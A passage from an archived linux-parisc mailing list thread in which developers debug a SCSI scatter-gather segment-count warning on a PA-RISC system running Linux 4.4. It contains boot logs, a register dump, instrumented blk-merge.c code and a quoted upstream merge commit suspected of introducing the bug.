> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   44.456000] scsi_init_sgtable: count = 7, nents = 7
> [   44.456000] timer_interrupt(CPU 0): delayed! cycles 4527081F rem C6C21  next/now 14E153306E/14E146C44D
> [   46.116000] scsi_init_sgtable: nr_phys_segments = 7
> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   46.116000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   46.116000] __blk_segment_map_sg: length = 16384, nbytes = 4096, sum = 20480 > 65536
> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   46.116000] scsi_init_sgtable: count = 7, nents = 7
> [   46.116000] timer_interrupt(CPU 0): delayed! cycles 453F0A77 rem 223089  next/now 152BB6286E/152B93F7E5
> [   47.780000] scsi_init_sgtable: nr_phys_segments = 1
> [   47.780000] scsi_init_sgtable: count = 1, nents = 1
> [   47.896000] scsi_init_sgtable: nr_phys_segments = 6
> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   47.896000] __blk_segment_map_sg: length = 61440, nbytes = 4096, sum = 65536 > 65536
> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   47.896000] scsi_init_sgtable: count = 6, nents = 6
> [   47.896000] timer_interrupt(CPU 0): delayed! cycles 3AB087E2 rem 23E4DE  next/now 1570BBD5EE/157097F110
> [   49.324000] scsi_init_sgtable: nr_phys_segments = 1
> [   49.324000] scsi_init_sgtable: count = 1, nents = 1
> [   49.440000] scsi_init_sgtable: nr_phys_segments = 2
> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   49.440000] __blk_segment_map_sg: length = 65536, nbytes = 4096, sum = 69632 > 65536
> 
> (this is interesting! Here we reach a sum of > 65536 the first time)
> 
> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1, BIOVEC_SEG_BOUNDARY = 1
> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   49.440000] __blk_segment_map_sg: length = 16384, nbytes = 4096, sum = 20480 > 65536
> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   49.440000] *** FIXIT *** HELGE: nsegs > rq->nr_phys_segments = 3 > 2
> [   49.440000] scsi_init_sgtable: count = 3, nents = 2
> [   50.116000] ------------[ cut here ]------------
> [   50.172000] WARNING: at /build/linux-4.4/linux-4.4.2/drivers/scsi/scsi_lib.c:1104
> 
> (this is usually a BUG(). I changed it to WARN() in the hope it would work anyway. It didn't.)
> 
> [   50.260000] Modules linked in: sd_mod sr_mod cdrom ata_generic ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 sym53c8xx libata scsi_transport_spi scsi_mod usbcorep
> [   50.456000] CPU: 0 PID: 70 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
> [   50.564000] task: 000000007f948b28 ti: 000000007fa90000 task.ti: 000000007fa90000
> [   50.652000] 
> [   50.672000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   50.728000] PSW: 00001000000001001111100100001110 Not tainted
> [   50.796000] r00-03  000000ff0804f90e 00000000409ea2e0 00000000003e2ee0 000000007fa91140
> [   50.892000] r04-07  00000000003cd000 000000007f914300 000000007f914b10 0000000000000003
> [   50.988000] r08-11  0000000000000000 000000007f918000 0000000040bdd6b0 00000000003cd800
> [   51.084000] r12-15  0000000000000000 000000007fa90778 00000000003cd000 000000007f918000
> [   51.180000] r16-19  0000000000001300 0000000040bdd6b8 0000000040bdd6bc 0000000040ba2420
> [   51.276000] r20-23  0000000099116e92 0000000000000000 00000000000002a0 00000000000002ee
> [   51.372000] r24-27  0000000000000000 000000000800000e 0000000040b60750 00000000409b3ae0
> [   51.468000] r28-31  0000000000000002 000000007fa914f0 000000007fa911e0 0000000040ba2408
> [   51.564000] sr00-03  0000000000015000 0000000000000000 0000000000000000 0000000000015000
> [   51.660000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [   51.756000] 
> [   51.772000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000003e2f24 00000000003e2f28
> [   51.872000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000fea4691528
> [   51.956000]  CPU:        0   CR30: 000000007fa90000 CR31: 00000000ffff7dff
> [   52.040000]  ORIG_R28: 0000000040b60718
> [   52.084000]  IAOQ[0]: scsi_init_sgtable+0xfc/0x1b8 [scsi_mod]
> [   52.152000]  IAOQ[1]: scsi_init_sgtable+0x100/0x1b8 [scsi_mod]
> [   52.224000]  RP(r2): scsi_init_sgtable+0xb8/0x1b8 [scsi_mod]
> [   52.292000] Backtrace:
> [   52.320000]  [<00000000003e304c>] scsi_init_io+0x6c/0x258 [scsi_mod]
> [   52.396000]  [<000000000087d078>] sd_init_command+0x70/0xec8 [sd_mod]
> 
> In general I think the bug is somehow in blk-merge.c.
> But I'm not an expert in that code.

The warning was added in this patch sequence:
https://lkml.org/lkml/2015/11/23/996

Possibly, but above seems to indicate that it could be driver issue as well.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sat, 20 Feb 2016 21:52:45 -0500
Lines: 308
Approved: news@gmane.org
Message-ID: <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456023183 4743 80.91.229.3 (21 Feb 2016 02:53:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 02:53:03 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 03:52:53 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXK8h-0003nZ-Tv
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 03:52:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752572AbcBUCwu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Feb 2016 21:52:50 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:19250 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752502AbcBUCws convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Feb 2016 21:52:48 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20160221025246.QBWT22640.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 20 Feb 2016 21:52:46 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm01.bell.net
          with ESMTP
          id <20160221025246.NFOF24553.torspm01.bell.net@[192.168.2.10]>;
          Sat, 20 Feb 2016 21:52:46 -0500
In-Reply-To: <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.56C9267E.003C,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26471
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26471>

On 2016-02-20, at 5:52 PM, John David Anglin wrote:

> On 2016-02-20, at 4:59 PM, Helge Deller wrote:
> 
>> On 20.02.2016 21:43, John David Anglin wrote:
>>> On 2016-02-20, at 3:13 PM, John David Anglin wrote:
>>> 
>>>> On 2016-01-23, at 1:00 PM, John David Anglin wrote:
>>>> 
>>>>> WARNING: at block/blk-merge.c:454
>>>> 
>>>> With linux-image-4.4.0-1-parisc64-smp on c3740, the above warning is the last message I see.
>>>> Kernel seems to hang at that point.  This is warning code:
>>>> 
>>>>      /*
>>>>       * Something must have been wrong if the figured number of
>>>>       * segment is bigger than number of req's physical segments
>>>>       */
>>>>      WARN_ON(nsegs > rq->nr_phys_segments);
>>> 
>>> On Sep. 12, 2015, I reported the following problem:
>>> 
>>> http://www.spinics.net/lists/linux-parisc/msg06327.html
>> 
>> The problem is still, that this bug can only be reproduced at every boot when then 
>> scsi drivers are built as modules (and in an initrd). I could never reproduce it when
>> I booted a kernel with built-in scsi drivers.
>> 
>> The bug seems to be triggered by(*nsegs)++ command in __blk_segment_map_sg() in block/blk-merge.c.
>> I'm testing with the 4.4.2 kernel from debian.
>> I modified __blk_segment_map_sg() like that:
>> static inline void
>> __blk_segment_map_sg(struct request_queue *q, struct bio_vec *bvec,
>>                    struct scatterlist *sglist, struct bio_vec *bvprv,
>>                    struct scatterlist **sg, int *nsegs, int *cluster)
>> {
>> 
>>       int nbytes = bvec->bv_len;
>> 
>>       if (*sg && *cluster) {
>>               if ((*sg)->length + nbytes > queue_max_segment_size(q))
>>                       goto new_segment;
>> 
>>               if (!BIOVEC_PHYS_MERGEABLE(bvprv, bvec))
>>                       goto new_segment;
>>               if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bvec))
>>                       goto new_segment;
>> 
>>               (*sg)->length += nbytes;
>>       } else {
>> new_segment:
>>               if (*sg && *cluster) {
>>                       printk("NEW SEGMENT sg = %p!!!\n", sg);
>>                       printk("__blk_segment_map_sg: length = %d, nbytes = %d, sum = %d > %d\n", (*sg)->length, nbytes, (*sg)->length + nbytes, queue_max_segment_size(q));
>>                       printk("__blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = %d, BIOVEC_SEG_BOUNDARY = %d\n", BIOVEC_PHYS_MERGEABLE(bvprv, bvec), BIOVEC_SEG_BOUNDARY(q, bvprv, bvec) );
>>               }
>>               if (!*sg)
>>                       *sg = sglist;
>>               else {
>>                       /*
>>                        * If the driver previously mapped a shorter
>>                        * list, we could see a termination bit
>>                        * prematurely unless it fully inits the sg
>>                        * table on each mapping. We KNOW that there
>>                        * must be more entries here or the driver
>>                        * would be buggy, so force clear the
>>                        * termination bit to avoid doing a full
>>                        * sg_init_table() in drivers for each command.
>>                        */
>>                       sg_unmark_end(*sg);
>>                       *sg = sg_next(*sg);
>>               }
>> 
>>               sg_set_page(*sg, bvec->bv_page, nbytes, bvec->bv_offset);
>>               (*nsegs)++;
>>       }
>>       *bvprv = *bvec;
>> }
>> 
>> The boot log looks then like this:
>> [   43.044000] scsi_init_sgtable: count = 1, nents = 1
>> (there are lots of those before it!)
>> [   43.164000] scsi_init_sgtable: nr_phys_segments = 1
>> [   43.164000] scsi_init_sgtable: count = 1, nents = 1
>> [   43.280000] scsi_init_sgtable: nr_phys_segments = 1
>> [   43.280000] scsi_init_sgtable: count = 1, nents = 1
>> [   43.396000] scsi_init_sgtable: nr_phys_segments = 1
>> [   43.396000] scsi_init_sgtable: count = 1, nents = 1
>> [   43.512000] scsi_init_sgtable: nr_phys_segments = 1
>> [   43.512000] scsi_init_sgtable: count = 1, nents = 1
>> [   43.628000] scsi_init_sgtable: nr_phys_segments = 3
>> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   43.628000] scsi_init_sgtable: count = 3, nents = 3
>> [   44.224000] scsi_init_sgtable: nr_phys_segments = 1
>> [   44.224000] scsi_init_sgtable: count = 1, nents = 1
>> [   44.340000] scsi_init_sgtable: nr_phys_segments = 1
>> [   44.340000] scsi_init_sgtable: count = 1, nents = 1
>> [   44.456000] scsi_init_sgtable: nr_phys_segments = 7
>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   44.456000] scsi_init_sgtable: count = 7, nents = 7
>> [   44.456000] timer_interrupt(CPU 0): delayed! cycles 4527081F rem C6C21  next/now 14E153306E/14E146C44D
>> [   46.116000] scsi_init_sgtable: nr_phys_segments = 7
>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   46.116000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
>> [   46.116000] __blk_segment_map_sg: length = 16384, nbytes = 4096, sum = 20480 > 65536
>> [   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   46.116000] scsi_init_sgtable: count = 7, nents = 7
>> [   46.116000] timer_interrupt(CPU 0): delayed! cycles 453F0A77 rem 223089  next/now 152BB6286E/152B93F7E5
>> [   47.780000] scsi_init_sgtable: nr_phys_segments = 1
>> [   47.780000] scsi_init_sgtable: count = 1, nents = 1
>> [   47.896000] scsi_init_sgtable: nr_phys_segments = 6
>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   47.896000] __blk_segment_map_sg: length = 61440, nbytes = 4096, sum = 65536 > 65536
>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   47.896000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   47.896000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
>> [   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   47.896000] scsi_init_sgtable: count = 6, nents = 6
>> [   47.896000] timer_interrupt(CPU 0): delayed! cycles 3AB087E2 rem 23E4DE  next/now 1570BBD5EE/157097F110
>> [   49.324000] scsi_init_sgtable: nr_phys_segments = 1
>> [   49.324000] scsi_init_sgtable: count = 1, nents = 1
>> [   49.440000] scsi_init_sgtable: nr_phys_segments = 2
>> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   49.440000] __blk_segment_map_sg: length = 65536, nbytes = 4096, sum = 69632 > 65536
>> 
>> (this is interesting! Here we reach a sum of > 65536 the first time)
>> 
>> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1, BIOVEC_SEG_BOUNDARY = 1
>> [   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
>> [   49.440000] __blk_segment_map_sg: length = 16384, nbytes = 4096, sum = 20480 > 65536
>> [   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
>> [   49.440000] *** FIXIT *** HELGE: nsegs > rq->nr_phys_segments = 3 > 2
>> [   49.440000] scsi_init_sgtable: count = 3, nents = 2
>> [   50.116000] ------------[ cut here ]------------
>> [   50.172000] WARNING: at /build/linux-4.4/linux-4.4.2/drivers/scsi/scsi_lib.c:1104
>> 
>> (this is usually a BUG(). I changed it to WARN() in the hope it would work anyway. It didn't.)
>> 
>> [   50.260000] Modules linked in: sd_mod sr_mod cdrom ata_generic ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 sym53c8xx libata scsi_transport_spi scsi_mod usbcorep
>> [   50.456000] CPU: 0 PID: 70 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
>> [   50.564000] task: 000000007f948b28 ti: 000000007fa90000 task.ti: 000000007fa90000
>> [   50.652000] 
>> [   50.672000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> [   50.728000] PSW: 00001000000001001111100100001110 Not tainted
>> [   50.796000] r00-03  000000ff0804f90e 00000000409ea2e0 00000000003e2ee0 000000007fa91140
>> [   50.892000] r04-07  00000000003cd000 000000007f914300 000000007f914b10 0000000000000003
>> [   50.988000] r08-11  0000000000000000 000000007f918000 0000000040bdd6b0 00000000003cd800
>> [   51.084000] r12-15  0000000000000000 000000007fa90778 00000000003cd000 000000007f918000
>> [   51.180000] r16-19  0000000000001300 0000000040bdd6b8 0000000040bdd6bc 0000000040ba2420
>> [   51.276000] r20-23  0000000099116e92 0000000000000000 00000000000002a0 00000000000002ee
>> [   51.372000] r24-27  0000000000000000 000000000800000e 0000000040b60750 00000000409b3ae0
>> [   51.468000] r28-31  0000000000000002 000000007fa914f0 000000007fa911e0 0000000040ba2408
>> [   51.564000] sr00-03  0000000000015000 0000000000000000 0000000000000000 0000000000015000
>> [   51.660000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>> [   51.756000] 
>> [   51.772000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000003e2f24 00000000003e2f28
>> [   51.872000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000fea4691528
>> [   51.956000]  CPU:        0   CR30: 000000007fa90000 CR31: 00000000ffff7dff
>> [   52.040000]  ORIG_R28: 0000000040b60718
>> [   52.084000]  IAOQ[0]: scsi_init_sgtable+0xfc/0x1b8 [scsi_mod]
>> [   52.152000]  IAOQ[1]: scsi_init_sgtable+0x100/0x1b8 [scsi_mod]
>> [   52.224000]  RP(r2): scsi_init_sgtable+0xb8/0x1b8 [scsi_mod]
>> [   52.292000] Backtrace:
>> [   52.320000]  [<00000000003e304c>] scsi_init_io+0x6c/0x258 [scsi_mod]
>> [   52.396000]  [<000000000087d078>] sd_init_command+0x70/0xec8 [sd_mod]
>> 
>> In general I think the bug is somehow in blk-merge.c.
>> But I'm not an expert in that code.
> 
> The warning was added in this patch sequence:
> https://lkml.org/lkml/2015/11/23/996
> 
> Possibly, but above seems to indicate that it could be driver issue as well.


I believe this bug was introduced by the following merge:

commit 1081230b748de8f03f37f80c53dfa89feda9b8de
Merge: df91039 2ca495a
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Wed Sep 2 13:10:25 2015 -0700

    Merge branch 'for-4.3/core' of git://git.kernel.dk/linux-block
    
    Pull core block updates from Jens Axboe:
     "This first core part of the block IO changes contains:
    
       - Cleanup of the bio IO error signaling from Christoph.  We used to
         rely on the uptodate bit and passing around of an error, now we
         store the error in the bio itself.
    
       - Improvement of the above from myself, by shrinking the bio size
         down again to fit in two cachelines on x86-64.
    
       - Revert of the max_hw_sectors cap removal from a revision again,
         from Jeff Moyer.  This caused performance regressions in various
         tests.  Reinstate the limit, bump it to a more reasonable size
         instead.
    
       - Make /sys/block/<dev>/queue/discard_max_bytes writeable, by me.
         Most devices have huge trim limits, which can cause nasty latencies
         when deleting files.  Enable the admin to configure the size down.
         We will look into having a more sane default instead of UINT_MAX
         sectors.
    
       - Improvement of the SGP gaps logic from Keith Busch.
    
       - Enable the block core to handle arbitrarily sized bios, which
         enables a nice simplification of bio_add_page() (which is an IO hot
         path).  From Kent.
    
       - Improvements to the partition io stats accounting, making it
         faster.  From Ming Lei.
    
       - Also from Ming Lei, a basic fixup for overflow of the sysfs pending
         file in blk-mq, as well as a fix for a blk-mq timeout race
         condition.
    
       - Ming Lin has been carrying Kents above mentioned patches forward
         for a while, and testing them.  Ming also did a few fixes around
         that.
    
       - Sasha Levin found and fixed a use-after-free problem introduced by
         the bio->bi_error changes from Christoph.
    
       - Small blk cgroup cleanup from Viresh Kumar"
    
    * 'for-4.3/core' of git://git.kernel.dk/linux-block: (26 commits)
      blk: Fix bio_io_vec index when checking bvec gaps
      block: Replace SG_GAPS with new queue limits mask
      block: bump BLK_DEF_MAX_SECTORS to 2560
      Revert "block: remove artifical max_hw_sectors cap"
      blk-mq: fix race between timeout and freeing request
      blk-mq: fix buffer overflow when reading sysfs file of 'pending'
      Documentation: update notes in biovecs about arbitrarily sized bios
      block: remove bio_get_nr_vecs()
      fs: use helper bio_add_page() instead of open coding on bi_io_vec
      block: kill merge_bvec_fn() completely
      md/raid5: get rid of bio_fits_rdev()
      md/raid5: split bio for chunk_aligned_read
      block: remove split code in blkdev_issue_{discard,write_same}
      btrfs: remove bio splitting and merge_bvec_fn() calls
      bcache: remove driver private bio splitting code
      block: simplify bio_add_page()
      block: make generic_make_request handle arbitrarily sized bios
      blk-cgroup: Drop unlikely before IS_ERR(_OR_NULL)
      block: don't access bio->bi_error after bio_put()
      block: shrink struct bio down to 2 cache lines again
      ...

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=1081230b748de8f03f37f80c53dfa89feda9b8de

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
